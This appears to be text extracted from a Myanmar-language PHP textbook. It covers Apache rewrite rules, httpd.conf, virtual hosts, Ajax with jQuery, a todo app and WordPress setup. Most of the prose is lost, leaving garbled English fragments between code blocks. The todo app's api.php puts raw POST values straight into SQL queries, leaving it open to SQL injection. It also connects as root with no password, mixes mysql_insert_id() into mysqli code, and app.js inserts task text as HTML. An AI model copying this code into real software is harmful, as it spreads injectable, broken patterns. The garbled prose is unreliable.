Server Setting

ProxyPass /foo.html http://example.com/bar.html


ProxyPassReverse /foo.html http://example.com/bar.html

foo.html Document Request example.com/bar.html


Request Reverse Proxy Load
Balance Rockstar Developer ()

URL Rewrite Module

LoadModule rewrite_module modules/mod_rewrite.so

Module mod_rewrite URL Web


Server Resource Website
URL File Name
http://en.wikipedia.org/wiki/MySQL URL File Name
Web Server Folder Name
File Name URL Document
mod_rewrite URL Rewrite Setting
Request URL (URL ) Resource URL
(URL )
Module
Website URL () mod_rewrite
URL URL

URL Rewrite Setting (-)


Professional Web Developer - () PHP and Apache Settings 306

(-) A URL Rewrite Rule

RewriteRule Keyword () Request URL Pattern,

URL (Flags)

Request URL Pattern Regular Expression Regular Expression Text


Sub Language
Rewrite Rule Pattern
(-)
^ $

RewriteRule ^books index.php

^ Request URL
books () index.php Request

Professional Web Developer - () PHP and Apache Settings 307

RewriteRule ^books$ index.php

URL books index.php Request

Set

RewriteRule ^books/([a-z]+)/([0-9]+)$ index.php?cat=$1&id=$2

Set Set [a-z]


a to z a to z Alphabet Special
Character Rule
Set
0 to 9 Character +
Set
Set
$1 $2 Variable URL Request
URL -

books/internet/98

- Request URL -

index.php?cat=internet&id=98

- a to z 0 to 9 Character
Dot

RewriteRule ^books/(.+)/(.+)/?$ index.php?cat=$1&id=$2

(.+)
Character ()
? ()
Slash
Rule

RewriteRule ^books/([a-z]{5-10})/([0-9]{3})/?$ index.php?cat=$1&id=$2

[a-z]{5-10}
a to z () ()
Professional Web Developer - () PHP and Apache Settings 308

[0-9]{3} 0 to 9 ()
Rule Online Book Store
Rewrite Rule

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /store/
RewriteRule ^books/?$ index.php [NC,L]
RewriteRule ^cart/?$ view_cart.php [NC,L]

RewriteRule ^category/([0-9]+)/?$ index.php?cat_id=$1 [NC,L]

RewriteRule ^admin/edit/book/([0-9]+)/?$ admin/book-edit.php?id=$1 [NC,L]


RewriteRule ^admin/edit/category/([0-9]+)/?$ admin/cat-edit.php?id=$1 [NC,L]
</IfModule>

Module mod_rewrite
RewriteBase Setting Project Web Server
Document Root store Folder RewriteBase
/store/
Rule

RewriteRule ^books/?$ /store/index.php [NC,L]


RewriteRule ^cart/?$ /store/view_cart.php [NC,L]

RewriteBase /store/ Rule /store/


-

- http://localhost/store/books/
- http://localhost/store/cart/
- http://localhost/store/category/12/
- http://localhost/store/admin/edit/book/12/
- http://localhost/store/admin/edit/category/12/

- URL Book Store Script File Name Query


String URL

Rule Flags Flag


Optional Flag
Professional Web Developer - () PHP and Apache Settings 309

[L] - Last Rule Rule


[F] - Forbidden Rule 403 Forbidden Respond

[NC] - No Case

[QSA] - Request URL Query String Rewrite URL


[R] - URL Rewrite Redirect


HTTP
Status Code No.
[R=301] [R=307]

Flag
Comma - [L,NC,QSA]

RewriteCond Setting Server Variable


Rule -

RewriteCond %{HTTP_HOST} !^example\.com$ [NC]


RewriteRule .? http://example.com%{REQUEST_URI} [R=301,L]

Rule Host Name www - Request URL


http://www.example.com/foo/bar.html URL http://example.com/foo/
bar.html

RewriteCond %{HTTP_HOST} !^example\.com$

- -

if(HTTP_HOST != example.com)

%{HTTP_HOST} Request Domain Name


Server Variable Exclamation Mark (!) Not
^example\.com$ example.com
Regular Expression Rule Dot (.) Regular Expression
Operator Back Slash Operator Escape

RewriteRule .? http://example.com%{REQUEST_URI} [R=301, L]


Professional Web Developer - () PHP and Apache Settings 310

- URL () http://example.com
Rewrite
%{REQUEST_URI} Server Variable
URL Domain Name Resource Location
Rewrite example.com
Flag R=301 Flag Redirect
-

RewriteCond %{HTTP_REFERER} !^$


RewriteCond %{HTTP_REFERER} !^http://example\.com/ [NC]
RewriteRule \.(gif|jpg|png)$ - [F]

Rule Server Image Website


HTTP_REFERER Request
Location
Referer Blank

Request
Referer Blank
Rule
RewriteCond (!^$ - Not Blank ) Referer

Host -

!^http://example\.com/

- If Not http://example.com Condition Pass


Rewrite Rule Rewrite Rule Request URL .gif,
.jpg, .png Forbidden Respond [F] Flag

Image URL Request

Website Website Request
Rewrite Condition Rule
Server Variable Variable

%{HTTP_USER_AGENT} - Request User Agent (Client )


%{HTTP_REFERER} - Request Source
%{HTTP_HOST} -
Server IP Address
%{SERVER_PORT} - Web Server Port No.
%{REMOTE_ADDR} - Request IP Address
%{REQUEST_METHOD} - Request Method (GET, POST, etc...)
%{QUERY_STRING} - Request Query String
%{REQUEST_URI} - Request URL (Host Name )
%{SCRIPT_FILENAME} - Request
File
%{HTTPS} - Request Protocol HTTPS
Professional Web Developer - () PHP and Apache Settings 311

.htaccess
Web Server Web App httpd.conf
Setting Server App
Compression Cache App
URL Rewrite App
URL Rewrite httpd.conf

Apache Setting .htaccess File


.htaccess File Setting Server
File
Folder App
Setting .htaccess File App


URL Rewrite Rule httpd.conf
Web App Project Folder .htaccess File

Directories Settings
httpd.conf Setting httpd.conf
Server File System Apache Setting

<Directory />
AllowOverride none
Require all denied
</Directory>

<Directory /> Root Directory Setting


Windows C:\ Setting
C:\ Slash ( / )
httpd.conf

AllowOverride Setting .htaccess File Setting


Setting none Require
Setting Directory Setting all denied

Professional Web Developer - () PHP and Apache Settings 312

Document Root

DocumentRoot "C:/xampp/htdocs"

httpd.conf DocumentRoot "C:/xampp/htdocs" Setting


DocumentRoot Setting Web Document Folder
C:/xampp/htdocs
Apache Document
Folder PHP Script
Folder Document Root Folder
DocumentRoot Setting

Document Root Apache Directory Setting


Directory Setting for Document Root Folder

<Directory "C:/xampp/htdocs">
Options Indexes FollowSymLinks ExecCGI Includes
AllowOverride All
Require all granted
</Directory>

Directory Setting Options Setting ()


Indexes
Directory Browsing Directory Index File
File Folder Option

FollowSymLinks Symbolic Link () Shortcut


PHP Script htdocs

Script () Folder Shortcut htdocs
FollowSymLinks Option

AllowOverride All Directory .htaccess File


Setting Require all granted Directory
Request
Professional Web Developer - () PHP and Apache Settings 313

Default Index File

Default Index File Setting



<IfModule dir_module>
DirectoryIndex index.html index.php
</IfModule>

dir_module DirectoryIndex Setting


Index File
File index.html
index.php Index File httpd.conf Index File
File Name default.php, home.php
File Index File

Extra Setting
Setting httpd.conf File
Setting File httpd.conf Include Setting
httpd.conf File
XAMPP Setting extra Folder httpd-xampp.conf
-

Include "conf/extra/httpd-xampp.conf"

httpd-xampp.conf
Setting phpMyAdmin
Alias Setting

Alias /phpmyadmin "C:/xampp/phpMyAdmin/"

Alias Setting /phpmyadmin URL phpMyAdmin Folder


htdocs Folder phpMyAdmin Browser URL
http://localhost/phpmyadmin/ Request Apache
/phpmyadmin URL Alias Document Root htdocs
Folder C:\xampp\phpMyAdmin\

Professional Web Developer - () PHP and Apache Settings 314

Virtual Host

VirtualHost Setting Web
Server Host Name / Domain Name
Request example.com Setting Request
example.org Setting

Host Name

Windows C:\Windows\system32\drivers\etc\hosts
Linux /etc/hosts hosts File Text Editor

127.0.0.1 foo.com
127.0.0.1 bar.com

Local
Public Internet IP Local IP Address
127.0.0.1, 127.0.0.2, 127.0.0.3, IP Address
Local IP Address hosts File 127.0.0.1 foo.com
bar.com Host Name


Computer Host Name

Restart Restart Browser


URL Bar http://foo.com/ () http://bar.com/ http://localhost/
Host Name
Setting VirtualHost

<VirtualHost *:*>
ServerName foo.com
DocumentRoot C:/foo/
</VirtualHost>

<VirtualHost *:*>
ServerName bar.com
DocumentRoot C:/bar/
</VirtualHost>

ServerName foo.com DocumentRoot C:/foo/


ServerName bar.com DocumentRoot C:/bar/
Apache Restart Browser URL Bar http://foo.com/
C:\foo\ Folder HTML Document PHP Scripts
foo.com DocumentRoot Virtual Host
bar.com C:\bar\
Professional Web Developer - () PHP and Apache Settings 315

Server
Server Name Document
Root

Conclusion
PHP Apache Setting MySQL, phpMyAdmin Setting
XAMPP Windows MySQL Setting C:\xampp\mysql\
bin\my.ini phpMyAdmin Setting C:\xampp\phpMy
Admin\config.inc.php

XAMPP Linux MySQL Setting /opt/lampp/etc/ File Name



Professional Web Developer Course

- ()

www.fairway.com.mm
Professional Web Developer - () Ajax with jQuery 317

() Ajax with jQuery


Web App

Asynchronous JavaScript And XML Ajax Javasript Web


App "" Jesse James Garrett UX
(User Experience) Designer "Ajax: A New
Approach to Web Apps" Ajax
Garrett
Gmail, Google Suggest, Google Maps
Ajax

Link: http://www.adaptivepath.com/ideas/ajax-new-approach-web-Apps

9.1 - Asynchronous
Ajax Asynchronous Software Development
- ()
Synchronous Process Asynchronous

() ()
() ()
() ()
()
() ()
Callback Asynchronous
Professional Web Developer - () Ajax with jQuery 318

Web Synchronous Process Client Request Server


Respond Respond
Client Respond Document
HTML, CSS, JavaScript
Web App

() Book Store Project


Script
Delete Delete Script
Delete Script
Script
localhost
Request/Respond

Synchronous
Ajax Web App

9.2 - JavaScript XMLHttpRequest (XHR) API


() JavaScript DOM API XHR
XMLHttpRequest DOM JavaScript API XHR
API JavaScript Request Respond

Server Request Client Web Browser URL Bar URL


Request Hyperlink Request
HTML Form Submit Button Request
Request XHR API JavaScript
Request

Microsoft Outlook Web Access Team XHR


XMLHTTP Component
Microsoft XMLHTTP ActiveX Control Internet Explore 5
Mozilla, Safari, Opera Browser
XMLHttpRequest JavaScript Object Support Internet Explorer 7
Microsoft ActiveX Control
XMLHttpRequest JavaScript Object Support

XHR API Web App Google


Professional Web Developer - () Ajax with jQuery 319

Gmail Google Maps


Ajax
Browser Support XHR W3C Standard
W3C XHR API Web Standard

Request Respond Browser Page


Reload XHR Respond
Respond
JavaScript

XHR API Server Request JavaScript Function

var httpRequest;

function makeRequest(url, query, method, complete) {


if (window.XMLHttpRequest) { // Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}

httpRequest.onreadystatechange = complete;
httpRequest.open(method, url);
httpRequest.send(query);
}

makeRequest() Function Function


Browser XMLHttpRequest Support Support
httpRequest Variable XMLHttpRequest Object Support
ActiveXObject httpRequest XHR
Object onreadystatechange Attribute Function success Function
Request
success Function
Professional Web Developer - () Ajax with jQuery 320

httpRequest open Method Request


Connection Request Method Request URL Function
method url Variable send Method
Request Request Function
query Variable

makeRequest() Function -

makeRequest("admin/book-del.php", "id=123", "POST", function() {


if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
alert(httpRequest.responseText);
} else {
alert('There was a problem with the request.');
}
}
});

admin/book-del.php JavaScript Request


id=123 Query POST Method Request

makeRequest() Function Nameless Function


Function XHR readyState
readyState 4 Request Request
Respond Status 200 Respond Content Alert Box
Request Ready State

0 - Request
1 - Server
2 - Request
3 - Server
4 - Request Respond

XHR Request JavaScript Web App


Asynchronous XHR HTTP
HTTP Request
Respond
XHR Request
Professional Web Developer - () Ajax with jQuery 321

9.3 - XML or JSON


XHR Request Server-side Script HTML Document
Respond XHR Request JavaScript
()
Request HTML Structure
Web Document Request HTML
Document Respond XHR Respond Content
XHR Request Server-side Script Data

Ajax Data Respond Data Format


XML XHR XMLHttpRequest Ajax
XML XML JSON
Respond Data JSON ()
Respond Data JSON

9.4 - Components of Ajax Techniques


Ajax Jesse James Garrett Ajax

HTML and CSS for presentation


DOM for dynamic display of and interaction with data
XML for the interchange of data
XMLHttpRequest object for asynchronous communication
JavaScript to bring these technologies together

HTML, CSS, JavaScript, DOM


XML
JSON XHR API

9.5 - Ajax with jQuery


Browser Request Request
Browser
URL Ajax
Request Request Respond
- URL Request Data
URL Character Encode
Professional Web Developer - () Ajax with jQuery 322

Respond Data Data Type XML Parse


JSON Script Evaluate Browser Support
Ajax Web App JavaScript
Ajax Framework

() jQuery DOM Manipulation Ajax


Framework jQuery Ajax Framework

jQuery URL Encode Respond
Data Parse jQuery

jQuery Ajax Request jQuery Ajax
Request Method Method
$.get() $.post() GET Request Method Request
$.get() POST $.post()

() jQuery DOM Manipulation jQuery Object Dollar Sign


Selector Ajax jQuery Object Selector
jQuery Object CSS Selector Ajax
Request jQuery Object get() post() Method
(-)

(-) jQuery Ajax Method


Professional Web Developer - () Ajax with jQuery 323

get() Method Parameter ()


URL () Optional
Request Data JSON Parameter Request

Parameter Callback Function
Parameter Respond Data Type
json

Server Response
Header Content Type jQuery

Server Respond Data Callback Function Parameter


data
Variable Name data

post() Method get() Request Method


get() post() Method jqXHR Object jqXHR Object
Request done, fail, always
()
-

var obj = $.get("book-list.php");


obj.done( function() {
// do something on request success
});

obj.fail( function() {
// do something on request failure
});
obj.always( function() {
// do something on request completion, either success or failure
});

()

$.get("book-list.php").done( function() { } )
.fail( function() { } )
.always( function() { } );

Request

Professional Web Developer - () Ajax with jQuery 324

9.6 - Persistence Todo List App


() jQuery Todo List App

Todo List App Interface Task


Task Task
Check JavaScript (jQuery)
Browser Reload

MySQL Database Ajax


htdocs Folder todo Folder
todo Folder index.php, jquery.js, app.js, style.css,
api.php File

todo/
|-- index.php
|-- jquery.js
|-- app.js
|-- style.css
|-- api.php

jquery.js jquery.com Download index.php,


style.css app.js
()
HTML, CSS, JavaScript -
Professional Web Developer - () Ajax with jQuery 325

[ index.php ]
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Todo</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div id="wrap">
<h1>Task List <span>0</span></h1>
<ul id="tasks"></ul>
<ul id="done"></ul>

<div id="new-task">
<input type="text" /><button>+</button>
</div>
</div>

<script src="jquery.js"></script>
<script src="app.js"></script>
</body>
</html>

[ style.css ]
#wrap {
width: 360px;
margin: 20px auto;
padding: 20px;
border: 6px solid #DDD;
overflow: hidden;
}

h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}
h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}

ul {
list-style: none;
margin: 0;
padding: 0;
}
Professional Web Developer - () Ajax with jQuery 326

ul li {
overflow: hidden;
padding: 4px 0;
}

li input, li span {
float: left;
margin-right: 6px;
}

li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none ;
}
li:hover a {
display: inline;
}

#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}
#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}
#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}
#done {
line-height: 18px;
margin-bottom: 10px;
}
#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}
Professional Web Developer - () Ajax with jQuery 327

[ app.js ]
$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();

if(!task) return false;

buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );

$("#new-task input").val("").focus();
});

$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});
function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

$("h1 span").html( $("#tasks li").length );


});

var task = $("<span>").html(msg);

var del = $("<a>", {


href: "#"
}).html("&times;").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});

return $("<li>").append(checkbox).append(task).append(del);
}

Browser URL Bar http://localhost/todo/


JavaScript Todo List App
Database Table PHP Code
PHP Code
htdocs Folder
Professional Web Developer - () Ajax with jQuery 328

jQuery Code
() Ajax

phpMyAdmin todo Database todo


Database tasks Table tasks Table
Column -

tasks Table
id - INT - PRIMARY - Auto Increment
subject - VARCHAR (255)
status - INT (1)
created_date - DATETIME

Column () Task subject status Column


Task Task Priority, Due
Date, Task Detail Code
Task Subject Status
Task phpMyAdmin

Server-side Scripts
api.php Request Data tasks Table
PHP Code
() () api.php Script

.) Tasks
.) Task
.) Task
.) Status
.) Status

- Code api.php
Professional Web Developer - () Ajax with jQuery 329

<?php
$conn = mysqli_connect("localhost", "root", "");
mysqli_select_db($conn, "todo");

$action = $_REQUEST['action'];

switch($action) {
case "get":
get_all_tasks();
break;
case "add":
add_task();
break;
case "del":
del_task();
break;
case "done":
done_task();
break;
case "undo":
undo_task();
break;
default:
unknown_action();
}

function get_all_tasks() {
global $conn;
$result = mysqli_query($conn, "SELECT * FROM tasks");

$tasks = array();
while($row = mysqli_fetch_assoc($result)) {
$tasks[] = $row;
}

echo json_encode($tasks);
}

function add_task() {
global $conn;
$subject = $_POST['subject'];

$result = mysqli_query($conn, "INSERT INTO tasks (subject, created_date)


VALUES ('$subject', now())");
if($result) {
$id = mysql_insert_id();
echo json_encode(array("err" => 0, "id" => $id));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to insert task"));
}
}
Professional Web Developer - () Ajax with jQuery 330

function del_task() {
global $conn;
$id = $_POST['id'];

$result = mysqli_query($conn, "DELETE FROM tasks WHERE id = $id");


if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to delete task"));
}
}

function done_task() {
global $conn;
$id = $_POST['id'];

$result = mysqli_query($conn,
"UPDATE tasks SET status = 1 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}

function undo_task() {
global $conn;
$id = $_POST['id'];

$result = mysqli_query($conn,
"UPDATE tasks SET status = 0 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}

function unknown_action() {
echo json_encode(array("err" => 1, "msg" => "Unknown Action"));
}
?>

Database Request Data action


action Function switch Statement
action get get_all_tasks() Function
Browser URL Bar http://localhost/todo/api.php?action=get

[{"id":"1","subject":"Something to do","status":"0", "created_date":"2013-05-15


12:59:20"},{"id":"2","subject":"Yet another thing to do","status":"0",
"created_date":"2013-05-15 12:59:20"}]
Professional Web Developer - () Ajax with jQuery 331

api.php Request action=get


get_all_tasks() Function

get_all_tasks() Function tasks Table Record $tasks Array
Array json_encode() Function JSON Format
echo

Browser http://localhost/todo/api.php

{"err":1,"msg":"Unknown Action"}

Request action Query Value case default


unknown_action() Function
Function Task Status Update
Code Function

Adding Ajax Requests


app.js Ajax buildTask()
Function

function buildTask(msg, id) {


var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

$("h1 span").html( $("#tasks li").length );


});

var task = $("<span>").html(msg);


var del = $("<a>", {
href: "#"
}).html("&times;").click(function() {
$(this).parent().fadeOut(function () {
$(this).remove();
$("h1 span").html( $("#tasks li").length );
});
}).hide();

return $("<li>").data("id", id).append(checkbox) .append(task) .append(del);


}
Professional Web Developer - () Ajax with jQuery 332

Highlight Code
Record ID
Task List id
jQuery data() Function <li> Element

Page Load tasks Table Record


$(document).ready() Code

$.get("api.php", {action: "get"}, function( tasks ) {

$.each(tasks, function(index, task) {


if( task.status == 1 ) {
buildTask( task.subject, task.id ).appendTo("#done");
} else {
buildTask( task.subject, task.id ).appendTo("#tasks");
}
});

$("#done input").attr("checked", "checked");


$("h1 span").html( $("#tasks li").length );

}, "json");

get() jQuery Ajax Method api.php Request Request Value


action get Callback Function Respond Data tasks
Variable

Callback Function jQuery each() Method tasks Variable JSON


Array Loop each() Method Parameter Loop

Array Callback Function each() Parameter tasks
tasks Array Loop
Key Value Callback
Function index task Variable

Loop Callback Function Task status Status 1


buildTask() Function <li> Element #done
Status 0 <li> Element #tasks
Page Load tasks Table

Task tasks Table


$("#new-task button").click() Event

Professional Web Developer - () Ajax with jQuery 333

$("#new-task button").click(function() {
var task = $("#new-task input").val();

if(!task) return false;

$.post("api.php", {action: "add", subject: task}, function(res) {


if( res.err == 1) {
alert( res.msg );
} else {
buildTask(task, res.id).appendTo("#tasks");
}
}, "json");

buildTask(task).appendTo("#tasks");

$("h1 span").html( $("#tasks li").length );

$("#new-task input").val("").focus();
});

Highlight Strikeout
api.php post() Method Request Request Data action
add subject task Variable Respond Data Callback
Function res Variable

Request action add api.php add_task()


Function add_task() Function INSERT
err id Index Array err 0 id
Record ID INSERT Query err msg
Index Array err 1 msg Task
Message

post() Ajax Method Callback Function res err err msg


Alert Box err buildTask() Function
Task List Item
tasks Table
Record

Task Delete tasks Table Request


buildTask() Function Task


Professional Web Developer - () Ajax with jQuery 334

function buildTask(msg, id) {


var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {

var task = $(this).parent();


var task_id = task.data("id");
if($(this).is(":checked")) {
$.post("api.php", {action: "done", id: task_id}, function() {
task.prependTo("#done");
$("h1 span").html( $("#tasks li").length );
});
} else {
$.post("api.php", {action: "undo", id: task_id}, function() {
task.appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
});
}

if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

$("h1 span").html( $("#tasks li").length );

});

var task = $("<span>").html(msg);

var del = $("<a>", {


href: "#"
}).html("&times;").click(function() {

var task = $(this).parent();


var task_id = task.data("id");
$.post("api.php", {action: "del", id: task_id}, function(res) {
task.remove();
$("h1 span").html( $("#tasks li").length );
}, "json");
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );

});

return $("<li>").data("id", id)


.append(checkbox)
.append(task)
.append(del);
}

Highlight Strikeout
post() Method api.php Request
Professional Web Developer - () Ajax with jQuery 335

Request Data <li> Element data-id


Code

Todo List App App


Server-side Script API Script
Data Database Table
Interface Request JavaScript, DOM XHR
http://localhost/todo/ Browser URL Bar

9.7 - Other jQuery Methods


jQuery get() post() Ajax Method getJSON()
Method Respond Data JSON Method -

$.getJSON("api.php", {action: "get"});

- -

$.get("api.php", {action: "get"}, "json");

- Request Method GET


POST GET POST

get() post()
getScript() Respond Data JavaScript
Run Method

$.getScript("js/somescript.js");

- -

$.get("js/somescript.js", "script");

Professional Web Developer - () Ajax with jQuery 336

load() DOM Selector



Respond Data Select Element -

$("#note").load("data.php", {id: 123});

ajax() Method ajax() jQuery Ajax


Function Request Setting Low-level
Interface get() post() ajax() Method

$.ajax({
url: "api.php",
data: "action=get",
type: "get",
success: function() {
// do something on success
},
dataType: "json"
});

Request Setting JSON


Setting Option Option
-

beforeSend - Request beforeSend Option


Function

complete - Request/Respond ( )
complete Option
Function

data - Request Data data Option


Query
String JSON

dataType - Respond Data Type json,


xml, script html Response Header Content-type
jQuery
jsonp Data
Professional Web Developer - () Ajax with jQuery 337

Type json Domain Request


Ajax Cross-Domain Request Domain Request
jsonp Data Type Cross-domain Request

error - Request error Option


Function

password HTTP Authentication Request


Password Request

statusCode - Respond Code


Code Function -

$.ajax({
url: "some/url",
statusCode: {
404: function() {
// ...
},
403: function() {
// ...
},
500: function() {
// ...
}
}
});

success - Request
complete Request
Option Function

timeout - Request timeout Option



Millisecond

type - type Option GET, POST, PUT, DELETE Request Method

url - Request URL



Professional Web Developer - () Ajax with jQuery 338

username - HTTP Authentication Request


User
Name Request

Setting Request
ajax() Method - PUT DELETE Request Method
get() post() ajax()

Conclusion
Web Development Server-side
Script App Domain Logic Template User
Interface Server-side Script App
JavaScript Server-side Script

Data Persistence
Server-side Data Client-side

Server-side Ajax App


Gmail Standard View HTML View Interface
Gmail HTML View Server-side Script Interface Ajax
Interface HTML Interface

App Client-side Server-side

Fairway Tech School


Web, Mobile Design

- ()

www.fairway.com.mm
Professional Web Developer - () Content Management System - CMS 340

() Content Management System - CMS


WordPress
CMS

Content Management System ( CMS) Website


Website

(-) Front-End and Back-End Interfaces of CMS

CMS Web App Front-End Back-End


Professional Web Developer - () Content Management System - CMS 341

Interface Front-End Back-


End Website Interface
Front-End Interface Back-End
Web Master
Password (-)

CMS Website User Account


Content Meta Category Tag
( - Comment ) Website Design Layout

10.1 - Popular CMS


CMS CMS () WordPress, Joomla
Drupal () Open Source PHP/MySQL

WordPress, Joomla, Drupal General Purpose CMS


CMS Website Web Portal
Website E-Commerce Website General Purpose
CMS

- Vanilla Forum Elgg


Social Network MediaWiki Wikipedia Online
Knowledge Base Moodle Online Education Platform
Magento E-Commerce Online Store
CMS WordPress, Joomla, Drupal
Website
CMS

PHP Open Source Open Source


Commercial PHP CMS Python, .NET, Java
CMS Open Source Commercial

CMS "Website "


CMS
Website
Professional Web Developer - () Content Management System - CMS 342

Web Developer
CMS
Website
CMS Website

Links:
WordPress - http://wordpress.org/
Joomla - http://www.joomla.org/
Drupal - http://drupal.org/
Vanilla - http://vanillaforums.org/
Elgg - http://elgg.org/
MediaWiki - http://www.mediawiki.org/
Moodle - http://moodle.org/
Magento - http://magentocommerce.com/

10.2 - WordPress
WordPress Website () CMS
Matt Mullenweg Mike Little Developer ()
Version
Version WordPress 4.6.1

Blog Platform Movable Type


Movable Type User WordPress
WordPress
Blog
Website
General Purpose CMS

CMS Content User


Plugin CMS Theme
Install Website Template Website Web Master
Website Content Widgets
Component
Professional Web Developer - () Content Management System - CMS 343

Plugin Theme Widget Website


Web Portal WordPress
WordPress WordPress
Developer Website

WordPress Download wordpress.com Register WordPress


Website Hosted Version Code
Website
WordPress Download
Hosted Version

Installing WordPress
WordPress Version wordpress.org Download
Download Zip File Extract wordpress Folder htdocs
Folder Browser URL Bar http://localhost/wordpress/
(-)

(-) WordPress Installation


Professional Web Developer - () Content Management System - CMS 344

WordPress Database Database


name, Database username, Database password, Database host
Let's Go Button (-)
Database Setting Form

(-) WordPress Installation

Database Name
phpMyAdmin wordpress ()
Database Form Database Name
wordpress
Database
Database User root
Password Blank Database Host

localhost

Table Prefix Database


WordPress Website
Table Name Table Name
Website Database

Table Prefix wp_
Submit
Message
Professional Web Developer - () Content Management System - CMS 345

Message Run the install Button (-)


Website Information Form

(-) WordPress Installation

Website Title Content Web Master Admin Username, Admin


Password, Email Site Title Username
admin
Password Password
Password Strong Password

Install WordPress Button WordPress


WordPress Database Table

Success Message
Back-End Interface Login Log In Button Button
Professional Web Developer - () Content Management System - CMS 346

Username Password
Username
Password Login (-) WordPress Admin
Dashboard

(-) WordPress Admin Dashboard

Content Management with WordPress


WordPress Website Setup Content
URL Content URL
Back-End Interface http://localhost/wordpress/wp-admin/
Setup Website (Tab
) URL Bar http://localhost/wordpress/ (-)
Website , Navigation Menu WordPress
Content
Professional Web Developer - () Content Management System - CMS 347

(-) WordPress Website - Front-End

WordPress Content Post Page Post


Website Home Page Page
Navigation Menu
"Hello world!"
Post Post Post
Post View
Comment Comment Form

Comment

Post Browser URL http://localhost/wordpress/wp-admin/


Admin Dashboard Post Post Category
Admin Dashboard Sidebar Menu Posts
Categories Menu
Professional Web Developer - () Content Management System - CMS 348

(-) Post categories

Categories Interface Add New Category Form


Category Post Sidebar
Menu Posts Section Add New (-) New
Post Form

(-) New Post Interface

New Post Form Post Title Post Body Content


Post Body Content Format Rich-
Text-Editor Image Video Post Body
Categories Box

Professional Web Developer - () Content Management System - CMS 349

Post
Category Category

Publish Button Post
Publish Browser URL Bar
http://localhost/wordpress/
Post Home Page

Post Edit Sidebar Menu All


Posts Option Option

Website Setting Setting Option Login


Password Information Users Option My Profile
User Account Users Option
Comment Comment /
Comment Option
Content Video
File Media Options

WordPress Plugins
WordPress Plugin http://wordpress.org/extend/
plugins/ (Plugin Directory) Plugin Download
WordPress Plugin Directory Plugin ()
() Premium Quality Plugin Website

() jQuery Plugin Plugin Developer




Plugin Manual Readme

Website Web Master Email Contact Form Plugin


WordPress Plugin Directory "contact" Keyword

() Plugin Description
Plugin Popular Contact
Plugin Contact Form 7 Plugin Download

https://wordpress.org/plugins/contact-form-7/
Professional Web Developer - () Content Management System - CMS 350

Download Zip File Extract contact-


form-7 Folder WordPress Plugins Folder htdocs/wordpress/wp-content/plugins/
Folder Admin Dashboard Sidebar Menu Plugins
Option (-) Plugin

(-) WordPress Plugins

Plugin Contact Form 7 Plugin


Plugin Folder Plugin
Activate Plugin Activate Option
Activate Activate (-)
Activate Plugin Settings Deactivate Option

(-) Contact Form 7


Professional Web Developer - () Content Management System - CMS 351

Contact Form 7 Activate Sidebar Menu Contact Option


Option (-)
Contact Form Setup Interface Contact Form 1
Highlight [Short Code] WordPress Plugin
Content Short Code
Copy (-) Contact Page
Page Body Short Code

(-) Publishing Contact Page

Short Code Page Publish Front-End


Navigation Menu Contact Contact Form
Page

WordPress Themes
WordPress Website Design Themes
WordPress Themes Directory http://wordpress.org/extend/themes/
Theme Themes Directory Theme
() () Premium Quality Theme
Website

Themes WordPress Developer



Theme Manual
Readme

Professional Web Developer - () Content Management System - CMS 352

Food Fashion Blog Theme Basic Theme


Download

https://wordpress.org/themes/basic/

Download Extract basic Folder WordPress Theme


Folder htdocs/wordpress/wp-content/themes/
Admin Dashboard (-) Appearance Themes

(-) WordPress Themes Management

Available Themes Section Basic


Theme Activate

http://localhost/wordpress/ Front End (-)



Website Site Design Basic Theme


Professional Web Developer - () Content Management System - CMS 353

(-) WordPress with Basic Theme

Template

Customizing WordPress Theme


WordPress
Layout
Customize Customize WordPress Source Code
Theme () Theme
Plugin WordPress Theme
Plugin
Online Tutorial
HTML, CSS, JavaScript PHP Theme, Plugin
WordPress Developer http://codex.wordpress.org/

Admin Dashboard Appearance Menu Editor Option Themes


File Code
htdocs/wordpress/wp-content/themes/ Folder
Theme Folder Code
WordPress Theme Template File

Professional Web Developer - () Content Management System - CMS 354

style.css - Theme CSS File Appearance Themes



Available Themes Theme Information style.css
Comment

/*
Theme Name: Twenty Ten
Theme URI: http://wordpress.org/
Description: The 2010 default theme for WordPress.
